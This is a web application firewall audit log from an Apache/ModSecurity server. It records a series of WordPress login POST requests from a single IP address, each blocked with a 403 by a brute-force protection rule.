Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313976684985 1844 (- - -)
Stopwatch2: 1789313976684985 1844; combined=664, p1=281, p2=84, p3=0, p4=0, p5=299, sr=143, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aa60bd76-Z--

--1a081e18-A--
[13/Sep/2026:18:39:37.084466 +0300] aqbDuVdqBhgxDSpG7haLGAAAAEI 134.185.87.66 35408 127.0.0.1 7081
--1a081e18-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--1a081e18-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--1a081e18-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313977082173 2356 (- - -)
Stopwatch2: 1789313977082173 2356; combined=575, p1=216, p2=64, p3=0, p4=0, p5=295, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1a081e18-Z--

--2b29c610-A--
[13/Sep/2026:18:39:37.475777 +0300] aqbDufut1GUrjaX0wO45AQAAAMs 134.185.87.66 35436 127.0.0.1 7081
--2b29c610-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--2b29c610-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--2b29c610-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313977471380 4474 (- - -)
Stopwatch2: 1789313977471380 4474; combined=883, p1=376, p2=170, p3=0, p4=0, p5=337, sr=194, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2b29c610-Z--

--28453b70-A--
[13/Sep/2026:18:39:37.866763 +0300] aqbDuUhjHs68UzErry1K1gAAAI8 134.185.87.66 35456 127.0.0.1 7081
--28453b70-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--28453b70-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--28453b70-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313977865024 1804 (- - -)
Stopwatch2: 1789313977865024 1804; combined=609, p1=262, p2=66, p3=0, p4=0, p5=281, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--28453b70-Z--

--97e22f04-A--
[13/Sep/2026:18:39:38.244113 +0300] aqbDuvut1GUrjaX0wO45BAAAAMg 134.185.87.66 35478 127.0.0.1 7081
--97e22f04-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--97e22f04-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--97e22f04-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313978242423 1745 (- - -)
Stopwatch2: 1789313978242423 1745; combined=558, p1=249, p2=65, p3=0, p4=0, p5=244, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--97e22f04-Z--

--5980ff28-A--
[13/Sep/2026:18:39:38.636321 +0300] aqbDuvut1GUrjaX0wO45BQAAAMw 134.185.87.66 35488 127.0.0.1 7081
--5980ff28-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--5980ff28-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5980ff28-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313978634692 1715 (- - -)
Stopwatch2: 1789313978634692 1715; combined=613, p1=246, p2=64, p3=0, p4=0, p5=303, sr=104, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5980ff28-Z--

--209e7a12-A--
[13/Sep/2026:18:39:39.026382 +0300] aqbDu-ut1GUrjaX0wO45BwAAAMQ 134.185.87.66 35518 127.0.0.1 7081
--209e7a12-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--209e7a12-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--209e7a12-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313979024814 1623 (- - -)
Stopwatch2: 1789313979024814 1623; combined=541, p1=222, p2=66, p3=0, p4=0, p5=253, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--209e7a12-Z--

--aafd7372-A--
[13/Sep/2026:18:39:39.406467 +0300] aqbDu1dqBhgxDSpG7haLGQAAAFU 134.185.87.66 35530 127.0.0.1 7081
--aafd7372-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--aafd7372-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--aafd7372-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313979404810 1732 (- - -)
Stopwatch2: 1789313979404810 1732; combined=544, p1=247, p2=66, p3=0, p4=0, p5=231, sr=79, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aafd7372-Z--

--9b814d54-A--
[13/Sep/2026:18:39:39.787252 +0300] aqbDu-ut1GUrjaX0wO45CQAAAMc 134.185.87.66 35536 127.0.0.1 7081
--9b814d54-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 96
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--9b814d54-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--9b814d54-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313979785254 2053 (- - -)
Stopwatch2: 1789313979785254 2053; combined=634, p1=271, p2=79, p3=0, p4=0, p5=284, sr=135, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9b814d54-Z--

--bfa4415c-A--
[13/Sep/2026:18:39:40.172148 +0300] aqbDvPut1GUrjaX0wO45CgAAAMM 134.185.87.66 35560 127.0.0.1 7081
--bfa4415c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--bfa4415c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--bfa4415c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313980170356 1890 (- - -)
Stopwatch2: 1789313980170356 1890; combined=710, p1=322, p2=121, p3=0, p4=0, p5=267, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bfa4415c-Z--

--f4a2ad3b-A--
[13/Sep/2026:18:39:40.558842 +0300] aqbDvBsbgHO3aGL3jiTwvgAAAAY 134.185.87.66 35576 127.0.0.1 7081
--f4a2ad3b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--f4a2ad3b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f4a2ad3b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313980557111 1786 (- - -)
Stopwatch2: 1789313980557111 1786; combined=568, p1=254, p2=66, p3=0, p4=0, p5=248, sr=104, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f4a2ad3b-Z--

--51df3f00-A--
[13/Sep/2026:18:39:40.946319 +0300] aqbDvPut1GUrjaX0wO45DAAAANc 134.185.87.66 35600 127.0.0.1 7081
--51df3f00-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 103
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--51df3f00-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--51df3f00-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313980944713 1661 (- - -)
Stopwatch2: 1789313980944713 1661; combined=579, p1=291, p2=60, p3=0, p4=0, p5=228, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--51df3f00-Z--

--9e98ce07-A--
[13/Sep/2026:18:39:41.333827 +0300] aqbDvUhjHs68UzErry1K2QAAAIw 134.185.87.66 35618 127.0.0.1 7081
--9e98ce07-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--9e98ce07-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--9e98ce07-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313981331852 2050 (- - -)
Stopwatch2: 1789313981331852 2050; combined=628, p1=249, p2=77, p3=0, p4=0, p5=302, sr=84, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9e98ce07-Z--

--6e23ad67-A--
[13/Sep/2026:18:39:41.716891 +0300] aqbDvUhjHs68UzErry1K2gAAAJA 134.185.87.66 35638 127.0.0.1 7081
--6e23ad67-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 94
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--6e23ad67-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--6e23ad67-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313981715049 1913 (- - -)
Stopwatch2: 1789313981715049 1913; combined=683, p1=259, p2=94, p3=0, p4=0, p5=330, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6e23ad67-Z--

--29ab295f-A--
[13/Sep/2026:18:39:42.100581 +0300] aqbDvvut1GUrjaX0wO45EAAAANM 134.185.87.66 35652 127.0.0.1 7081
--29ab295f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 94
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--29ab295f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--29ab295f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313982097506 3325 (- - -)
Stopwatch2: 1789313982097506 3325; combined=1304, p1=515, p2=126, p3=0, p4=0, p5=662, sr=235, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--29ab295f-Z--

--7d50f43a-A--
[13/Sep/2026:18:39:42.491438 +0300] aqbDvvut1GUrjaX0wO45EgAAAMo 134.185.87.66 35666 127.0.0.1 7081
--7d50f43a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--7d50f43a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--7d50f43a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313982489808 1685 (- - -)
Stopwatch2: 1789313982489808 1685; combined=598, p1=279, p2=83, p3=0, p4=0, p5=236, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7d50f43a-Z--

--66890359-A--
[13/Sep/2026:18:39:42.875756 +0300] aqbDvvut1GUrjaX0wO45FAAAANE 134.185.87.66 35688 127.0.0.1 7081
--66890359-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
